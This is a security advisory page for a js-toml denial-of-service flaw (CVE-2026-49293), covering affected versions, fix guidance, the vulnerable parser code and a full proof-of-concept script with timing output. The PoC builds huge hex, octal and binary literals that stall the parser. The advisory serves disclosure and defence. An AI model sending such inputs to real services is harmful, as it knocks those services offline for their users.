---
id: "CVE-2026-49293"
kind: "vulnerability"
aliases: ["CVE-2026-49293", "GHSA-wp3c-266w-4qfq"]
title: "js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals"
severity: "high"
cvss: 7.5
epss: 0.00644
exploited: false
status: "open"
category: "package"
products: [{"name": "js-toml", "fixed": ["1.1.2"], "affected": "<= 1.1.1", "ecosystem": "npm"}, {"name": "sunnyadn js-toml", "fixed": ["1.1.1"], "affected": "< 1.1.1", "ecosystem": "vendor"}]
ecosystems: ["npm", "vendor"]
tags: ["ci", "cwe-1333", "cwe-400", "cwe-407", "js-toml", "node", "npm", "package", "saas"]
not_affected_if: ["input-size-limited", "no-toml-parsing", "trusted-input-only"]
published_at: "2026-06-19T19:16:36+00:00"
first_seen_at: "2026-11-04T03:46:29+00:00"
updated_at: "2026-11-04T04:16:16+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-wp3c-266w-4qfq", "first_seen_at": "2026-11-04T03:46:29+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49293", "first_seen_at": "2026-11-04T04:16:16+00:00"}]
---

# js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals

js-toml parses hex, octal and binary integer literals with a loop that is quadratic in the literal length, so a single large literal in a TOML document can keep one CPU core busy for tens of seconds. An attacker who can supply TOML to a service that calls load() can cause a denial of service.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:js-toml affected <= 1.1.1 fixed 1.1.2
- vendor:sunnyadn js-toml affected < 1.1.1 fixed 1.1.1

## How to check

- Run `npm ls js-toml` in each project and check whether any resolved version is `1.1.1` or lower.
- Look for any code path that calls `load()` from js-toml on TOML from users, uploads, or third-party repositories.

## Fix

- `js-toml`: move to `1.1.2` or later.

## Timeline

- 2026-11-04T03:46:29+00:00 ghsa https://github.com/advisories/GHSA-wp3c-266w-4qfq
- 2026-11-04T04:16:16+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-49293

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/sunnyadn/js-toml/security-advisories/GHSA-wp3c-266w-4qfq
- [advisory] Maintainer's advisory: github.com https://github.com/sunnyadn/js-toml/security/advisories/GHSA-wp3c-266w-4qfq
- [fix] Patch: github.com https://github.com/sunnyadn/js-toml/commit/1e45ca56ba12e98508f8aae3e31c4aff7603d711
- [fix] Release: github.com https://github.com/sunnyadn/js-toml/releases/tag/v1.1.2
- [fix] Patch: github.com https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2
- [fix] Release notes: github.com https://github.com/sunnyadn/js-toml/releases/tag/v1.1.1

## From the sources

## Summary

`js-toml` versions up to and including **1.1.0** parse hexadecimal / octal / binary integer literals via a hand-written `parseBigInt` loop that multiplies a `BigInt` accumulator by the radix once per input digit. Each iteration performs a `BigInt * BigInt` operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is **O(n²)** in the literal length. The lexer regex places **no upper bound on the literal length**, so a single TOML document containing one ~500 kB hex literal pins one CPU core for **~40 seconds** on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.

A caller that invokes `load()` on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party `*.toml`, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.

CWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = **7.5 (HIGH)** when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (< 1 kB).

## Affected

- Package: `js-toml` (npm)
- Versions: `>= 0.0.0, <= 1.1.0` (all released versions up to and including the current `1.1.0`)
- Affected entry point: `load()` exported from the package root

## Vulnerable code

`src/load/tokens/NonDecimalInteger.ts` lines 54-84 at SHA-pinned [`2470ebf2e9009096aa4cbd1a15e574c54cc36b1a`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L54-L84):

```ts
const parseBigInt = (string: string, radix: number): bigint => {
  let result = BigInt(0);
  for (let i = 0; i < string.length; i++) {
    const char = string[i];
    const digit = parseInt(char, radix);
    result = result * BigInt(radix) + BigInt(digit);
  }

  return result;
};
```

and the interpreter that dispatches to it at lines 72-84:

```ts
registerTokenInterpreter(NonDecimalInteger, (raw: string) => {
  const intString = raw.replace(/_/g, '');
  const digits = intString.slice(2);
  const radix = getRadix(raw);

  const int = parseInt(digits, radix);

  if (Number.isSafeInteger(int)) {
    return int;
  }

  return parseBigInt(digits, radix);
});
```

Two compounding problems:

1. **Algorithmic**: the loop performs `result * BigInt(radix) + BigInt(digit)` once per input digit. After `i` iterations `result` has `O(i)` limbs, so the multiply costs `O(i)`. Summed over `n` digits the total cost is `O(n²)`.

2. **No length guard**: the lexer regex at [`src/load/tokens/NonDecimalInteger.ts#L14-L46`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L14-L46) is `0x<hexDigit>(<hexDigit>|_<hexDigit>)*` (likewise for `0o` / `0b`). The literal length is bounded only by the input document size. There is no `maxNumberLength` / `maxLiteralLength` option, no `chevrotain`-level cutoff, and no validation at the interpreter callsite.

By contrast, the `DecimalInteger` token interpreter at [`src/load/tokens/DecimalInteger.ts#L12-L19`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/DecimalInteger.ts#L12-L19) uses the V8 native `BigInt(intString)` constructor, which is `O(n)` and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.

## Impact

A single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With `8 MB` of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls `load()` (the only documented entry point) on attacker-controlled or third-party TOML.

## Reachability

The vulnerable path is the default code path for `load()`. No options or configuration are required to trigger it. Any caller that exposes `load()` to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds `Number.MAX_SAFE_INTEGER` (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).

Realistic exposure surfaces:

- Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest).
- CI / CD or build tool that runs `js-toml` on TOML in third-party repositories or pull requests.
- IDE / language-server plugin that re-parses a TOML buffer on every keystroke.
- Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.

## PoC (End-to-end reproduction)

### Environment

- Node.js `v22.x` (tested on `v22.0.0` and Node `v26.0.0`)
- macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)

### Install

```bash
mkdir js-toml-cve && cd js-toml-cve
npm init -y
npm install js-toml@1.1.0 @iarna/toml
```

### `poc_full_e2e.mjs`

```js
import { load } from 'js-toml';
import iarna from '@iarna/toml';

function timeIt(label, fn) {
  const t0 = process.hrtime.bigint();
  let result, err;
  try { result = fn(); } catch (e) { err = e; }
  const t1 = process.hrtime.bigint();
  const ms = (Number(t1 - t0) / 1e6).toFixed(1);
  if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);
  else     console.log(`${label}: ${ms}ms${result ? ' ' + result : ''}`);
}

console.log('--- Sanity baseline (small inputs) ---');
timeIt('decimal int 1', () => { load('x = 1'); return ''; });
timeIt('hex 0x10',      () => { load('x = 0x10'); return ''; });
timeIt('hex 0xffff',    () => { load('x = 0xffff'); return ''; });

console.log('\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---');
for (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) {
  const hexDigits = 'f'.repeat(n);
  const tomlText  = `x = 0x${hexDigits}`;
  timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`,
    () => {
      const r = load(tomlText);
      return `bits=${r.x.toString(2).length}`;
    });
}

console.log('\n--- Negative control: same input via @iarna/toml ---');
for (const n of [10_000, 50_000, 100_000, 200_000]) {
  const hexDigits = 'f'.repeat(n);
  const tomlText  = `x = 0x${hexDigits}`;
  timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`,
    () => {
      const r = iarna.parse(tomlText);
      return `type=${typeof r.x}`;
    });
}

console.log('\n--- Octal / binary share the same code path ---');
for (const n of [50_000, 100_000]) {
  const octDigits = '7'.repeat(n);
  const binDigits = '1'.repeat(n);
  timeIt(`oct 0o${n.toLocaleString()} digits`,
    () => { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; });
  timeIt(`bin 0b${n.toLocaleString()} digits`,
    () => { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; });
}
```

### Captured run output (unpatched `js-toml@1.1.0`, Node v26.0.0, Apple M-series)

```
# js-toml version: 1.1.0

--- Sanity baseline (small inputs) ---
decimal int 1: 1.3ms
hex 0x10: 0.4ms
hex 0xffff: 0.1ms

--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits (10006 bytes input): 15.0ms bits=40000
hex 20,000 digits (20006 bytes input): 29.8ms bits=80000
hex 50,000 digits (50006 bytes input): 214.7ms bits=200000
hex 100,000 digits (100006 bytes input): 693.0ms bits=400000
hex 200,000 digits (200006 bytes input): 3239.6ms bits=800000
hex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000

--- Negative control: same input via @iarna/toml ---
@iarna/toml hex 10,000 digits: 2.3ms typ

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
